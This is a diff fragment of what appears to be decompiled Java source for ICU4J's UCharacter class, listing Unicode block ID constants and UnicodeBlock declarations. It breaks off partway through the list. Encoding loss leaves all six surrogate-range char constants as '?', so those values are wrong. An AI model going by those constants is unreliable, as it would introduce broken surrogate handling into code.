+  public static final int FOLD_CASE_DEFAULT = 0;
+  public static final int FOLD_CASE_EXCLUDE_SPECIAL_I = 1;
+  public static final char MIN_HIGH_SURROGATE = '?';
+  public static final char MAX_HIGH_SURROGATE = '?';
+  public static final char MIN_LOW_SURROGATE = '?';
+  public static final char MAX_LOW_SURROGATE = '?';
+  public static final char MIN_SURROGATE = '?';
+  public static final char MAX_SURROGATE = '?';
+  public static final int MIN_SUPPLEMENTARY_CODE_POINT = 65536;
+  public static final int MAX_CODE_POINT = 1114111;
+  public static final int MIN_CODE_POINT = 0;
+  private static final int LAST_CHAR_MASK_ = 65535;
+  private static final int NO_BREAK_SPACE_ = 160;
+  private static final int FIGURE_SPACE_ = 8199;
+  private static final int NARROW_NO_BREAK_SPACE_ = 8239;
+  private static final int IDEOGRAPHIC_NUMBER_ZERO_ = 12295;
+  private static final int CJK_IDEOGRAPH_FIRST_ = 19968;
+  private static final int CJK_IDEOGRAPH_SECOND_ = 20108;
+  private static final int CJK_IDEOGRAPH_THIRD_ = 19977;
+  private static final int CJK_IDEOGRAPH_FOURTH_ = 22235;
+  private static final int CJK_IDEOGRAPH_FIFTH_ = 20116;
+  private static final int CJK_IDEOGRAPH_SIXTH_ = 20845;
+  private static final int CJK_IDEOGRAPH_SEVENTH_ = 19971;
+  private static final int CJK_IDEOGRAPH_EIGHTH_ = 20843;
+  private static final int CJK_IDEOGRAPH_NINETH_ = 20061;
+  private static final int APPLICATION_PROGRAM_COMMAND_ = 159;
+  private static final int UNIT_SEPARATOR_ = 31;
+  private static final int DELETE_ = 127;
+  private static final int CJK_IDEOGRAPH_COMPLEX_ZERO_ = 38646;
+  private static final int CJK_IDEOGRAPH_COMPLEX_ONE_ = 22777;
+  private static final int CJK_IDEOGRAPH_COMPLEX_TWO_ = 36019;
+  private static final int CJK_IDEOGRAPH_COMPLEX_THREE_ = 21443;
+  private static final int CJK_IDEOGRAPH_COMPLEX_FOUR_ = 32902;
+  private static final int CJK_IDEOGRAPH_COMPLEX_FIVE_ = 20237;
+  private static final int CJK_IDEOGRAPH_COMPLEX_SIX_ = 38520;
+  private static final int CJK_IDEOGRAPH_COMPLEX_SEVEN_ = 26578;
+  private static final int CJK_IDEOGRAPH_COMPLEX_EIGHT_ = 25420;
+  private static final int CJK_IDEOGRAPH_COMPLEX_NINE_ = 29590;
+  private static final int CJK_IDEOGRAPH_TEN_ = 21313;
+  private static final int CJK_IDEOGRAPH_COMPLEX_TEN_ = 25342;
+  private static final int CJK_IDEOGRAPH_HUNDRED_ = 30334;
+  private static final int CJK_IDEOGRAPH_COMPLEX_HUNDRED_ = 20336;
+  private static final int CJK_IDEOGRAPH_THOUSAND_ = 21315;
+  private static final int CJK_IDEOGRAPH_COMPLEX_THOUSAND_ = 20191;
+  private static final int CJK_IDEOGRAPH_TEN_THOUSAND_ = 33356;
+  private static final int CJK_IDEOGRAPH_HUNDRED_MILLION_ = 20740;
+  
+  public static final class UnicodeBlock
+    extends Character.Subset
+  {
+    public static final int INVALID_CODE_ID = -1;
+    public static final int BASIC_LATIN_ID = 1;
+    public static final int LATIN_1_SUPPLEMENT_ID = 2;
+    public static final int LATIN_EXTENDED_A_ID = 3;
+    public static final int LATIN_EXTENDED_B_ID = 4;
+    public static final int IPA_EXTENSIONS_ID = 5;
+    public static final int SPACING_MODIFIER_LETTERS_ID = 6;
+    public static final int COMBINING_DIACRITICAL_MARKS_ID = 7;
+    public static final int GREEK_ID = 8;
+    public static final int CYRILLIC_ID = 9;
+    public static final int ARMENIAN_ID = 10;
+    public static final int HEBREW_ID = 11;
+    public static final int ARABIC_ID = 12;
+    public static final int SYRIAC_ID = 13;
+    public static final int THAANA_ID = 14;
+    public static final int DEVANAGARI_ID = 15;
+    public static final int BENGALI_ID = 16;
+    public static final int GURMUKHI_ID = 17;
+    public static final int GUJARATI_ID = 18;
+    public static final int ORIYA_ID = 19;
+    public static final int TAMIL_ID = 20;
+    public static final int TELUGU_ID = 21;
+    public static final int KANNADA_ID = 22;
+    public static final int MALAYALAM_ID = 23;
+    public static final int SINHALA_ID = 24;
+    public static final int THAI_ID = 25;
+    public static final int LAO_ID = 26;
+    public static final int TIBETAN_ID = 27;
+    public static final int MYANMAR_ID = 28;
+    public static final int GEORGIAN_ID = 29;
+    public static final int HANGUL_JAMO_ID = 30;
+    public static final int ETHIOPIC_ID = 31;
+    public static final int CHEROKEE_ID = 32;
+    public static final int UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_ID = 33;
+    public static final int OGHAM_ID = 34;
+    public static final int RUNIC_ID = 35;
+    public static final int KHMER_ID = 36;
+    public static final int MONGOLIAN_ID = 37;
+    public static final int LATIN_EXTENDED_ADDITIONAL_ID = 38;
+    public static final int GREEK_EXTENDED_ID = 39;
+    public static final int GENERAL_PUNCTUATION_ID = 40;
+    public static final int SUPERSCRIPTS_AND_SUBSCRIPTS_ID = 41;
+    public static final int CURRENCY_SYMBOLS_ID = 42;
+    public static final int COMBINING_MARKS_FOR_SYMBOLS_ID = 43;
+    public static final int LETTERLIKE_SYMBOLS_ID = 44;
+    public static final int NUMBER_FORMS_ID = 45;
+    public static final int ARROWS_ID = 46;
+    public static final int MATHEMATICAL_OPERATORS_ID = 47;
+    public static final int MISCELLANEOUS_TECHNICAL_ID = 48;
+    public static final int CONTROL_PICTURES_ID = 49;
+    public static final int OPTICAL_CHARACTER_RECOGNITION_ID = 50;
+    public static final int ENCLOSED_ALPHANUMERICS_ID = 51;
+    public static final int BOX_DRAWING_ID = 52;
+    public static final int BLOCK_ELEMENTS_ID = 53;
+    public static final int GEOMETRIC_SHAPES_ID = 54;
+    public static final int MISCELLANEOUS_SYMBOLS_ID = 55;
+    public static final int DINGBATS_ID = 56;
+    public static final int BRAILLE_PATTERNS_ID = 57;
+    public static final int CJK_RADICALS_SUPPLEMENT_ID = 58;
+    public static final int KANGXI_RADICALS_ID = 59;
+    public static final int IDEOGRAPHIC_DESCRIPTION_CHARACTERS_ID = 60;
+    public static final int CJK_SYMBOLS_AND_PUNCTUATION_ID = 61;
+    public static final int HIRAGANA_ID = 62;
+    public static final int KATAKANA_ID = 63;
+    public static final int BOPOMOFO_ID = 64;
+    public static final int HANGUL_COMPATIBILITY_JAMO_ID = 65;
+    public static final int KANBUN_ID = 66;
+    public static final int BOPOMOFO_EXTENDED_ID = 67;
+    public static final int ENCLOSED_CJK_LETTERS_AND_MONTHS_ID = 68;
+    public static final int CJK_COMPATIBILITY_ID = 69;
+    public static final int CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A_ID = 70;
+    public static final int CJK_UNIFIED_IDEOGRAPHS_ID = 71;
+    public static final int YI_SYLLABLES_ID = 72;
+    public static final int YI_RADICALS_ID = 73;
+    public static final int HANGUL_SYLLABLES_ID = 74;
+    public static final int HIGH_SURROGATES_ID = 75;
+    public static final int HIGH_PRIVATE_USE_SURROGATES_ID = 76;
+    public static final int LOW_SURROGATES_ID = 77;
+    public static final int PRIVATE_USE_AREA_ID = 78;
+    public static final int PRIVATE_USE_ID = 78;
+    public static final int CJK_COMPATIBILITY_IDEOGRAPHS_ID = 79;
+    public static final int ALPHABETIC_PRESENTATION_FORMS_ID = 80;
+    public static final int ARABIC_PRESENTATION_FORMS_A_ID = 81;
+    public static final int COMBINING_HALF_MARKS_ID = 82;
+    public static final int CJK_COMPATIBILITY_FORMS_ID = 83;
+    public static final int SMALL_FORM_VARIANTS_ID = 84;
+    public static final int ARABIC_PRESENTATION_FORMS_B_ID = 85;
+    public static final int SPECIALS_ID = 86;
+    public static final int HALFWIDTH_AND_FULLWIDTH_FORMS_ID = 87;
+    public static final int OLD_ITALIC_ID = 88;
+    public static final int GOTHIC_ID = 89;
+    public static final int DESERET_ID = 90;
+    public static final int BYZANTINE_MUSICAL_SYMBOLS_ID = 91;
+    public static final int MUSICAL_SYMBOLS_ID = 92;
+    public static final int MATHEMATICAL_ALPHANUMERIC_SYMBOLS_ID = 93;
+    public static final int CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B_ID = 94;
+    public static final int CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT_ID = 95;
+    public static final int TAGS_ID = 96;
+    public static final int CYRILLIC_SUPPLEMENTARY_ID = 97;
+    public static final int CYRILLIC_SUPPLEMENT_ID = 97;
+    public static final int TAGALOG_ID = 98;
+    public static final int HANUNOO_ID = 99;
+    public static final int BUHID_ID = 100;
+    public static final int TAGBANWA_ID = 101;
+    public static final int MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A_ID = 102;
+    public static final int SUPPLEMENTAL_ARROWS_A_ID = 103;
+    public static final int SUPPLEMENTAL_ARROWS_B_ID = 104;
+    public static final int MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B_ID = 105;
+    public static final int SUPPLEMENTAL_MATHEMATICAL_OPERATORS_ID = 106;
+    public static final int KATAKANA_PHONETIC_EXTENSIONS_ID = 107;
+    public static final int VARIATION_SELECTORS_ID = 108;
+    public static final int SUPPLEMENTARY_PRIVATE_USE_AREA_A_ID = 109;
+    public static final int SUPPLEMENTARY_PRIVATE_USE_AREA_B_ID = 110;
+    public static final int LIMBU_ID = 111;
+    public static final int TAI_LE_ID = 112;
+    public static final int KHMER_SYMBOLS_ID = 113;
+    public static final int PHONETIC_EXTENSIONS_ID = 114;
+    public static final int MISCELLANEOUS_SYMBOLS_AND_ARROWS_ID = 115;
+    public static final int YIJING_HEXAGRAM_SYMBOLS_ID = 116;
+    public static final int LINEAR_B_SYLLABARY_ID = 117;
+    public static final int LINEAR_B_IDEOGRAMS_ID = 118;
+    public static final int AEGEAN_NUMBERS_ID = 119;
+    public static final int UGARITIC_ID = 120;
+    public static final int SHAVIAN_ID = 121;
+    public static final int OSMANYA_ID = 122;
+    public static final int CYPRIOT_SYLLABARY_ID = 123;
+    public static final int TAI_XUAN_JING_SYMBOLS_ID = 124;
+    public static final int VARIATION_SELECTORS_SUPPLEMENT_ID = 125;
+    public static final int ANCIENT_GREEK_MUSICAL_NOTATION_ID = 126;
+    public static final int ANCIENT_GREEK_NUMBERS_ID = 127;
+    public static final int ARABIC_SUPPLEMENT_ID = 128;
+    public static final int BUGINESE_ID = 129;
+    public static final int CJK_STROKES_ID = 130;
+    public static final int COMBINING_DIACRITICAL_MARKS_SUPPLEMENT_ID = 131;
+    public static final int COPTIC_ID = 132;
+    public static final int ETHIOPIC_EXTENDED_ID = 133;
+    public static final int ETHIOPIC_SUPPLEMENT_ID = 134;
+    public static final int GEORGIAN_SUPPLEMENT_ID = 135;
+    public static final int GLAGOLITIC_ID = 136;
+    public static final int KHAROSHTHI_ID = 137;
+    public static final int MODIFIER_TONE_LETTERS_ID = 138;
+    public static final int NEW_TAI_LUE_ID = 139;
+    public static final int OLD_PERSIAN_ID = 140;
+    public static final int PHONETIC_EXTENSIONS_SUPPLEMENT_ID = 141;
+    public static final int SUPPLEMENTAL_PUNCTUATION_ID = 142;
+    public static final int SYLOTI_NAGRI_ID = 143;
+    public static final int TIFINAGH_ID = 144;
+    public static final int VERTICAL_FORMS_ID = 145;
+    public static final int NKO_ID = 146;
+    public static final int BALINESE_ID = 147;
+    public static final int LATIN_EXTENDED_C_ID = 148;
+    public static final int LATIN_EXTENDED_D_ID = 149;
+    public static final int PHAGS_PA_ID = 150;
+    public static final int PHOENICIAN_ID = 151;
+    public static final int CUNEIFORM_ID = 152;
+    public static final int CUNEIFORM_NUMBERS_AND_PUNCTUATION_ID = 153;
+    public static final int COUNTING_ROD_NUMERALS_ID = 154;
+    public static final int SUNDANESE_ID = 155;
+    public static final int LEPCHA_ID = 156;
+    public static final int OL_CHIKI_ID = 157;
+    public static final int CYRILLIC_EXTENDED_A_ID = 158;
+    public static final int VAI_ID = 159;
+    public static final int CYRILLIC_EXTENDED_B_ID = 160;
+    public static final int SAURASHTRA_ID = 161;
+    public static final int KAYAH_LI_ID = 162;
+    public static final int REJANG_ID = 163;
+    public static final int CHAM_ID = 164;
+    public static final int ANCIENT_SYMBOLS_ID = 165;
+    public static final int PHAISTOS_DISC_ID = 166;
+    public static final int LYCIAN_ID = 167;
+    public static final int CARIAN_ID = 168;
+    public static final int LYDIAN_ID = 169;
+    public static final int MAHJONG_TILES_ID = 170;
+    public static final int DOMINO_TILES_ID = 171;
+    public static final int SAMARITAN_ID = 172;
+    public static final int UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED_ID = 173;
+    public static final int TAI_THAM_ID = 174;
+    public static final int VEDIC_EXTENSIONS_ID = 175;
+    public static final int LISU_ID = 176;
+    public static final int BAMUM_ID = 177;
+    public static final int COMMON_INDIC_NUMBER_FORMS_ID = 178;
+    public static final int DEVANAGARI_EXTENDED_ID = 179;
+    public static final int HANGUL_JAMO_EXTENDED_A_ID = 180;
+    public static final int JAVANESE_ID = 181;
+    public static final int MYANMAR_EXTENDED_A_ID = 182;
+    public static final int TAI_VIET_ID = 183;
+    public static final int MEETEI_MAYEK_ID = 184;
+    public static final int HANGUL_JAMO_EXTENDED_B_ID = 185;
+    public static final int IMPERIAL_ARAMAIC_ID = 186;
+    public static final int OLD_SOUTH_ARABIAN_ID = 187;
+    public static final int AVESTAN_ID = 188;
+    public static final int INSCRIPTIONAL_PARTHIAN_ID = 189;
+    public static final int INSCRIPTIONAL_PAHLAVI_ID = 190;
+    public static final int OLD_TURKIC_ID = 191;
+    public static final int RUMI_NUMERAL_SYMBOLS_ID = 192;
+    public static final int KAITHI_ID = 193;
+    public static final int EGYPTIAN_HIEROGLYPHS_ID = 194;
+    public static final int ENCLOSED_ALPHANUMERIC_SUPPLEMENT_ID = 195;
+    public static final int ENCLOSED_IDEOGRAPHIC_SUPPLEMENT_ID = 196;
+    public static final int CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C_ID = 197;
+    public static final int MANDAIC_ID = 198;
+    public static final int BATAK_ID = 199;
+    public static final int ETHIOPIC_EXTENDED_A_ID = 200;
+    public static final int BRAHMI_ID = 201;
+    public static final int BAMUM_SUPPLEMENT_ID = 202;
+    public static final int KANA_SUPPLEMENT_ID = 203;
+    public static final int PLAYING_CARDS_ID = 204;
+    public static final int MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS_ID = 205;
+    public static final int EMOTICONS_ID = 206;
+    public static final int TRANSPORT_AND_MAP_SYMBOLS_ID = 207;
+    public static final int ALCHEMICAL_SYMBOLS_ID = 208;
+    public static final int CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D_ID = 209;
+    public static final int ARABIC_EXTENDED_A_ID = 210;
+    public static final int ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS_ID = 211;
+    public static final int CHAKMA_ID = 212;
+    public static final int MEETEI_MAYEK_EXTENSIONS_ID = 213;
+    public static final int MEROITIC_CURSIVE_ID = 214;
+    public static final int MEROITIC_HIEROGLYPHS_ID = 215;
+    public static final int MIAO_ID = 216;
+    public static final int SHARADA_ID = 217;
+    public static final int SORA_SOMPENG_ID = 218;
+    public static final int SUNDANESE_SUPPLEMENT_ID = 219;
+    public static final int TAKRI_ID = 220;
+    public static final int COUNT = 221;
+    private static final UnicodeBlock[] BLOCKS_ = new UnicodeBlock['Ý'];
+    
+
+
+
+    public static final UnicodeBlock NO_BLOCK = new UnicodeBlock("NO_BLOCK", 0);
+    
+
+
+
+
+    public static final UnicodeBlock BASIC_LATIN = new UnicodeBlock("BASIC_LATIN", 1);
+    
+
+
+
+    public static final UnicodeBlock LATIN_1_SUPPLEMENT = new UnicodeBlock("LATIN_1_SUPPLEMENT", 2);
+    
+
+
+
+    public static final UnicodeBlock LATIN_EXTENDED_A = new UnicodeBlock("LATIN_EXTENDED_A", 3);
+    
+
+
+
+    public static final UnicodeBlock LATIN_EXTENDED_B = new UnicodeBlock("LATIN_EXTENDED_B", 4);
+    
+
+
+
+    public static final UnicodeBlock IPA_EXTENSIONS = new UnicodeBlock("IPA_EXTENSIONS", 5);
+    
+
+
+
+    public static final UnicodeBlock SPACING_MODIFIER_LETTERS = new UnicodeBlock("SPACING_MODIFIER_LETTERS", 6);
+    
+
+
+
+    public static final UnicodeBlock COMBINING_DIACRITICAL_MARKS = new UnicodeBlock("COMBINING_DIACRITICAL_MARKS", 7);
+    
+
+
+
+
+    public static final UnicodeBlock GREEK = new UnicodeBlock("GREEK", 8);
+    
+
+
+
+    public static final UnicodeBlock CYRILLIC = new UnicodeBlock("CYRILLIC", 9);
+    
+
+
+
+    public static final UnicodeBlock ARMENIAN = new UnicodeBlock("ARMENIAN", 10);
+    
+
+
+
+    public static final UnicodeBlock HEBREW = new UnicodeBlock("HEBREW", 11);
+    
+
+
+
+    public static final UnicodeBlock ARABIC = new UnicodeBlock("ARABIC", 12);
+    
+
+
+
+    public static final UnicodeBlock SYRIAC = new UnicodeBlock("SYRIAC", 13);
+    
+
+
+
+    public static final UnicodeBlock THAANA = new UnicodeBlock("THAANA", 14);
+    
+
+
+
+    public static final UnicodeBlock DEVANAGARI = new UnicodeBlock("DEVANAGARI", 15);
+    
+
+
+
+    public static final UnicodeBlock BENGALI = new UnicodeBlock("BENGALI", 16);
+    
+
+
+
+    public static final UnicodeBlock GURMUKHI = new UnicodeBlock("GURMUKHI", 17);
+    
+
+
+
+    public static final UnicodeBlock GUJARATI = new UnicodeBlock("GUJARATI", 18);
+    
+
+
+
+    public static final UnicodeBlock ORIYA = new UnicodeBlock("ORIYA", 19);
+    
+
+
+
+    public static final UnicodeBlock TAMIL = new UnicodeBlock("TAMIL", 20);
+    
+
+
+
+    public static final UnicodeBlock TELUGU = new UnicodeBlock("TELUGU", 21);
+    
+
+
+
+    public static final UnicodeBlock KANNADA = new UnicodeBlock("KANNADA", 22);
+    
+
+
+
+    public static final UnicodeBlock MALAYALAM = new UnicodeBlock("MALAYALAM", 23);
+    
+
+
+
+    public static final UnicodeBlock SINHALA = new UnicodeBlock("SINHALA", 24);
+    
+
+
+
+    public static final UnicodeBlock THAI = new UnicodeBlock("THAI", 25);
+    
+
+
+
+    public static final UnicodeBlock LAO = new UnicodeBlock("LAO", 26);
+    
+
+
+
+    public static final UnicodeBlock TIBETAN = new UnicodeBlock("TIBETAN", 27);
+    
+
+
+
+    public static final UnicodeBlock MYANMAR = new UnicodeBlock("MYANMAR", 28);
+    
+
+
+
+    public static final UnicodeBlock GEORGIAN = new UnicodeBlock("GEORGIAN", 29);
+    
+
+
+
+    public static final UnicodeBlock HANGUL_JAMO = new UnicodeBlock("HANGUL_JAMO", 30);
+    
+
+
+
+    public static final UnicodeBlock ETHIOPIC = new UnicodeBlock("ETHIOPIC", 31);
+    
+
+
+
+    public static final UnicodeBlock CHEROKEE = new UnicodeBlock("CHEROKEE", 32);
+    
+
+
+
+    public static final UnicodeBlock UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS = new UnicodeBlock("UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS", 33);
+    
+
+
+
+
+    public static final UnicodeBlock OGHAM = new UnicodeBlock("OGHAM", 34);
+    
+
+
+
+    public static final UnicodeBlock RUNIC = new UnicodeBlock("RUNIC", 35);
+    
+
+
+
+    public static final UnicodeBlock KHMER = new UnicodeBlock("KHMER", 36);
+    
+
+
+
+    public static final UnicodeBlock MONGOLIAN = new UnicodeBlock("MONGOLIAN", 37);
+    
+
+
+
+    public static final UnicodeBlock LATIN_EXTENDED_ADDITIONAL = new UnicodeBlock("LATIN_EXTENDED_ADDITIONAL", 38);
+    
+
+
+
+    public static final UnicodeBlock GREEK_EXTENDED = new UnicodeBlock("GREEK_EXTENDED", 39);
+    
+
+
+
+    public static final UnicodeBlock GENERAL_PUNCTUATION = new UnicodeBlock("GENERAL_PUNCTUATION", 40);
+    
+
+
+
+    public static final UnicodeBlock SUPERSCRIPTS_AND_SUBSCRIPTS = new UnicodeBlock("SUPERSCRIPTS_AND_SUBSCRIPTS", 41);
+    
+
+
+
+    public static final UnicodeBlock CURRENCY_SYMBOLS = new UnicodeBlock("CURRENCY_SYMBOLS", 42);
+    
+
+
+
+
+
+    public static final UnicodeBlock COMBINING_MARKS_FOR_SYMBOLS = new UnicodeBlock("COMBINING_MARKS_FOR_SYMBOLS", 43);
+    
+
+
+
+    public static final UnicodeBlock LETTERLIKE_SYMBOLS = new UnicodeBlock("LETTERLIKE_SYMBOLS", 44);
+    
+
+
+
+    public static final UnicodeBlock NUMBER_FORMS = new UnicodeBlock("NUMBER_FORMS", 45);
+    
+
+
+
+    public static final UnicodeBlock ARROWS = new UnicodeBlock("ARROWS", 46);
+    
+
+
+
+    public static final UnicodeBlock MATHEMATICAL_OPERATORS = new UnicodeBlock("MATHEMATICAL_OPERATORS", 47);
+    
+
+
+
+    public static final UnicodeBlock MISCELLANEOUS_TECHNICAL = new UnicodeBlock("MISCELLANEOUS_TECHNICAL", 48);
+    
+
+
+
+    public static final UnicodeBlock CONTROL_PICTURES = new UnicodeBlock("CONTROL_PICTURES", 49);
+    
+
+
+
+    public static final UnicodeBlock OPTICAL_CHARACTER_RECOGNITION = new UnicodeBlock("OPTICAL_CHARACTER_RECOGNITION", 50);
+    
+
+
+
+    public static final UnicodeBlock ENCLOSED_ALPHANUMERICS = new UnicodeBlock("ENCLOSED_ALPHANUMERICS", 51);
+    
+
+
+
+    public static final UnicodeBlock BOX_DRAWING = new UnicodeBlock("BOX_DRAWING", 52);
+    
+
+
+
+    public static final UnicodeBlock BLOCK_ELEMENTS = new UnicodeBlock("BLOCK_ELEMENTS", 53);
+    
+
+
+
+    public static final UnicodeBlock GEOMETRIC_SHAPES = new UnicodeBlock("GEOMETRIC_SHAPES", 54);
+    
+
+
+
+    public static final UnicodeBlock MISCELLANEOUS_SYMBOLS = new UnicodeBlock("MISCELLANEOUS_SYMBOLS", 55);
+    
+
+
+
+    public static final UnicodeBlock DINGBATS = new UnicodeBlock("DINGBATS", 56);
+    
+
+
+
+    public static final UnicodeBlock BRAILLE_PATTERNS = new UnicodeBlock("BRAILLE_PATTERNS", 57);
+    
+
+
+
+    public static final UnicodeBlock CJK_RADICALS_SUPPLEMENT = new UnicodeBlock("CJK_RADICALS_SUPPLEMENT", 58);
+    
+
+
+
+    public static final UnicodeBlock KANGXI_RADICALS = new UnicodeBlock("KANGXI_RADICALS", 59);
+    
+
+
+
+    public static final UnicodeBlock IDEOGRAPHIC_DESCRIPTION_CHARACTERS = new UnicodeBlock("IDEOGRAPHIC_DESCRIPTION_CHARACTERS", 60);
+    
+
+
+
+
+    public static final UnicodeBlock CJK_SYMBOLS_AND_PUNCTUATION = new UnicodeBlock("CJK_SYMBOLS_AND_PUNCTUATION", 61);
+    
+
+
+
+    public static final UnicodeBlock HIRAGANA = new UnicodeBlock("HIRAGANA", 62);
+    
+
+
+
+    public static final UnicodeBlock KATAKANA = new UnicodeBlock("KATAKANA", 63);
+    
+
+
+
+    public static final UnicodeBlock BOPOMOFO = new UnicodeBlock("BOPOMOFO", 64);
+    
+
+
+
+    public static final UnicodeBlock HANGUL_COMPATIBILITY_JAMO = new UnicodeBlock("HANGUL_COMPATIBILITY_JAMO", 65);
+    
+
+
+
+    public static final UnicodeBlock KANBUN = new UnicodeBlock("KANBUN", 66);
+    
+
+
+
+    public static final UnicodeBlock BOPOMOFO_EXTENDED = new UnicodeBlock("BOPOMOFO_EXTENDED", 67);
+    
+
+
+
+    public static final UnicodeBlock ENCLOSED_CJK_LETTERS_AND_MONTHS = new UnicodeBlock("ENCLOSED_CJK_LETTERS_AND_MONTHS", 68);
+    
+
+
+
+
+    public static final UnicodeBlock CJK_COMPATIBILITY = new UnicodeBlock("CJK_COMPATIBILITY", 69);
+    
+
+
+
+    public static final UnicodeBlock CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A = new UnicodeBlock("CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A", 70);
+    
+
+
+
+
+    public static final UnicodeBlock CJK_UNIFIED_IDEOGRAPHS = new UnicodeBlock("CJK_UNIFIED_IDEOGRAPHS", 71);
+    
+
+
+
+    public static final UnicodeBlock YI_SYLLABLES = new UnicodeBlock("YI_SYLLABLES", 72);
+    
+
+
+
+    public static final UnicodeBlock YI_RADICALS = new UnicodeBlock("YI_RADICALS", 73);
+    
+
+
+
+    public static final UnicodeBlock HANGUL_SYLLABLES = new UnicodeBlock("HANGUL_SYLLABLES", 74);
+    
+
+
+
+    public static final UnicodeBlock HIGH_SURROGATES = new UnicodeBlock("HIGH_SURROGATES", 75);
+    
+
+
+
+    public static final UnicodeBlock HIGH_PRIVATE_USE_SURROGATES = new UnicodeBlock("HIGH_PRIVATE_USE_SURROGATES", 76);
+    
+
+
+
+    public static final UnicodeBlock LOW_SURROGATES = new UnicodeBlock("LOW_SURROGATES", 77);
+    
+
+
+
+
+
+
+
+
+    public static final UnicodeBlock PRIVATE_USE_AREA = new UnicodeBlock("PRIVATE_USE_AREA", 78);
+    
+
+
+
+
+
+
+
+
+    public static final UnicodeBlock PRIVATE_USE = PRIVATE_USE_AREA;
+    
+
+
+
+    public static final UnicodeBlock CJK_COMPATIBILITY_IDEOGRAPHS = new UnicodeBlock("CJK_COMPATIBILITY_IDEOGRAPHS", 79);
+    
+
+
+
+    public static final UnicodeBlock ALPHABETIC_PRESENTATION_FORMS = new UnicodeBlock("ALPHABETIC_PRESENTATION_FORMS", 80);
+    
+
+
+
+    public static final UnicodeBlock ARABIC_PRESENTATION_FORMS_A = new UnicodeBlock("ARABIC_PRESENTATION_FORMS_A", 81);
+    
+
+
+
+    public static final UnicodeBlock COMBINING_HALF_MARKS = new UnicodeBlock("COMBINING_HALF_MARKS", 82);
+    
+
+
+
+    public static final UnicodeBlock CJK_COMPATIBILITY_FORMS = new UnicodeBlock("CJK_COMPATIBILITY_FORMS", 83);
+    
+
+
+
+    public static final UnicodeBlock SMALL_FORM_VARIANTS = new UnicodeBlock("SMALL_FORM_VARIANTS", 84);
+    
+
+
+
+    public static final UnicodeBlock ARABIC_PRESENTATION_FORMS_B = new UnicodeBlock("ARABIC_PRESENTATION_FORMS_B", 85);
+    
+
+
+
+    public static final UnicodeBlock SPECIALS = new UnicodeBlock("SPECIALS", 86);
+    
+
+
+
+    public static final UnicodeBlock HALFWIDTH_AND_FULLWIDTH_FORMS = new UnicodeBlock("HALFWIDTH_AND_FULLWIDTH_FORMS", 87);
+    
+
+
+
+    public static final UnicodeBlock OLD_ITALIC = new UnicodeBlock("OLD_ITALIC", 88);
+    
+
+
+
+    public static final UnicodeBlock GOTHIC = new UnicodeBlock("GOTHIC", 89);
+    
+
+
+
+    public static final UnicodeBlock DESERET = new UnicodeBlock("DESERET", 90);
+    
+
+
+
+    public static final UnicodeBlock BYZANTINE_MUSICAL_SYMBOLS = new UnicodeBlock("BYZANTINE_MUSICAL_SYMBOLS", 91);
+    
+
+
+
+    public static final UnicodeBlock MUSICAL_SYMBOLS = new UnicodeBlock("MUSICAL_SYMBOLS", 92);
+    
+
+
+
+    public static final UnicodeBlock MATHEMATICAL_ALPHANUMERIC_SYMBOLS = new UnicodeBlock("MATHEMATICAL_ALPHANUMERIC_SYMBOLS", 93);
+    
+
+
+
+
+    public static final UnicodeBlock CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B = new UnicodeBlock("CJK_UNIFIED_IDEOGRAPHS_EXTENSION_B", 94);
+    
+
+
+
+
+
+    public static final UnicodeBlock CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT = new UnicodeBlock("CJK_COMPATIBILITY_IDEOGRAPHS_SUPPLEMENT", 95);
+    
+
+
+
+
+    public static final UnicodeBlock TAGS = new UnicodeBlock("TAGS", 96);
+    
+
+
+
+
+
+
+
+    public static final UnicodeBlock CYRILLIC_SUPPLEMENTARY = new UnicodeBlock("CYRILLIC_SUPPLEMENTARY", 97);
+    
+
+
+
+
+    public static final UnicodeBlock CYRILLIC_SUPPLEMENT = new UnicodeBlock("CYRILLIC_SUPPLEMENT", 97);
+    
+
+
+
+    public static final UnicodeBlock TAGALOG = new UnicodeBlock("TAGALOG", 98);
+    
+
+
+
+    public static final UnicodeBlock HANUNOO = new UnicodeBlock("HANUNOO", 99);
+    
+
+
+
+    public static final UnicodeBlock BUHID = new UnicodeBlock("BUHID", 100);
+    
+
+
+
+    public static final UnicodeBlock TAGBANWA = new UnicodeBlock("TAGBANWA", 101);
+    
+
+
+
+    public static final UnicodeBlock MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A = new UnicodeBlock("MISCELLANEOUS_MATHEMATICAL_SYMBOLS_A", 102);
+    
+
+
+
+
+    public static final UnicodeBlock SUPPLEMENTAL_ARROWS_A = new UnicodeBlock("SUPPLEMENTAL_ARROWS_A", 103);
+    
+
+
+
+    public static final UnicodeBlock SUPPLEMENTAL_ARROWS_B = new UnicodeBlock("SUPPLEMENTAL_ARROWS_B", 104);
+    
+
+
+
+    public static final UnicodeBlock MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B = new UnicodeBlock("MISCELLANEOUS_MATHEMATICAL_SYMBOLS_B", 105);
+    
+
+
+
+
+    public static final UnicodeBlock SUPPLEMENTAL_MATHEMATICAL_OPERATORS = new UnicodeBlock("SUPPLEMENTAL_MATHEMATICAL_OPERATORS", 106);
+    
+
+
+
+
+    public static final UnicodeBlock KATAKANA_PHONETIC_EXTENSIONS = new UnicodeBlock("KATAKANA_PHONETIC_EXTENSIONS", 107);
+    
+
+
+
+    public static final UnicodeBlock VARIATION_SELECTORS = new UnicodeBlock("VARIATION_SELECTORS", 108);
+    
+
+
+
+    public static final UnicodeBlock SUPPLEMENTARY_PRIVATE_USE_AREA_A = new UnicodeBlock("SUPPLEMENTARY_PRIVATE_USE_AREA_A", 109);
+    
+
+
+
+
